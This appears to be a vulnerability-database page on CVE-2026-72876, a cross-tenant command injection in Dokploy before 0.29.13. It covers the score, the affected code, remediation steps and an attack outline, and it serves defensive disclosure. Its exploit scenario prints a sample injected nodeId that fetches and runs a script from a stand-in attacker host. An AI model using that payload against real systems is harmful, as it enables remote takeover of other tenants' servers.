What is the CVSS score of CVE-2026-72876?

CVE-2026-72876 has a CVSS 3.1 base score of 9.9 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.5%.

Which versions of Dokploy are affected by CVE-2026-72876?

Dokploy versions before 0.29.13 contain a critical remote command execution vulnerability affecting multi-tenant isolation: any authenticated user with minimal server:read permissions can execute…. A patch is available.

How to fix or mitigate CVE-2026-72876?

Within 24 hours, inventory all Dokploy deployments and determine current versions; flag any instance running pre-0.29.13 for immediate remediation. Within 7 days, apply the vendor-released patch Dokploy 0.29.13 or later to all production and non-production instances. Within 30 days, complete a full audit of authentication logs and system command history for exploitation attempts, verify patch deployment across 100% of instances, and conduct a cross-tenant access control review to confirm isolation is fully restored.

Dokploy CVE-2026-72876

EUVD-2026-55741 CRITICAL

OS Command Injection (CWE-78)

2026-08-10 GitHub_M

Command Injection Docker Dokploy

9.9

CVSS 3.1 · Vendor: GitHub_M

Severity by source

Vendor (GitHub_M) PRIMARY

9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

vuln.today AI

9.9 CRITICAL

Network-reachable endpoint needing only a low-privilege server:read account (PR:L, AC:L); code executes on a different tenant's host so scope changes (S:C) with full RCE giving C/I/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Patch available

Aug 10, 2026 - 20:04 EUVD

Source Code Evidence Fetched

Aug 10, 2026 - 19:48 vuln.today

Analysis Generated

Aug 10, 2026 - 19:48 vuln.today

CVE Published

Aug 10, 2026 - 19:00 cve.org

CRITICAL 9.9

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, swarm.getNodes, swarm.getNodeInfo, swarm.getNodeApps, and swarm.getAppInfos in apps/dokploy/server/api/routers/swarm.ts accept another organization’s serverId without an activeOrganizationId ownership check, and getNodeInfo in packages/server/src/services/docker.ts interpolates nodeId into execAsyncRemote, allowing a caller with server:read permission to execute arbitrary commands as the configured SSH user on another tenant’s server. This issue is fixed in version 0.29.13.

Articles & Coverage 1

News Critical Cross-Tenant RCE in Dokploy (Docker) Before 0.29.13 - CVE-2026-72876 Aug 11, 2026

AnalysisAI

Cross-tenant remote command execution in Dokploy (self-hosted PaaS) before 0.29.13 lets any authenticated user holding only the server:read permission run arbitrary OS commands on servers belonging to other organizations. The swarm tRPC endpoints never verified that the supplied serverId belonged to the caller's active organization, and getNodeInfo interpolated an attacker-controlled nodeId straight into a remote shell command, chaining a broken multi-tenant authorization flaw with OS command injection. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Obtain low-privilege server:read account

Delivery

Call swarm endpoint with cross-tenant serverId

Exploit

Bypass missing organization ownership check

Execution

Inject shell payload via nodeId

Persist

Execute commands as SSH user on victim server

Impact

Full compromise of other tenant's host

Access

Obtain low-privilege server:read account

Delivery

Call swarm endpoint with cross-tenant serverId

Exploit

Bypass missing organization ownership check

Execution

Inject shell payload via nodeId

Persist

Execute commands as SSH user on victim server

Impact

Full compromise of other tenant's host

Vulnerability AssessmentAI

Exploitation	Exploitation requires an authenticated Dokploy account with the server:read permission (PR:L) in a multi-tenant/organization deployment, and the target must be a server registered under a different organization within the same Dokploy instance. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	This is a genuine high-priority issue, not an inflated CVSS number. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker who has signed up for or been granted a low-privilege account (server:read) in one organization of a shared Dokploy instance calls swarm.getNodeInfo with another tenant's serverId, which passes with no ownership check. They supply a nodeId such as `$(curl attacker.sh\|sh)` that is interpolated into the remote docker command, executing arbitrary commands as the SSH user on the victim organization's server. …
Remediation	Upgrade to Dokploy 0.29.13 or later, which both adds the missing activeOrganizationId ownership check on the swarm endpoints and shell-quotes the nodeId - this is the primary and complete fix (Vendor-released patch: 0.29.13; see release https://github.com/Dokploy/dokploy/releases/tag/v0.29.13 and advisory GHSA-jj6h-388v-9rwm). … Detailed patch versions, workarounds, and compensating controls in full report.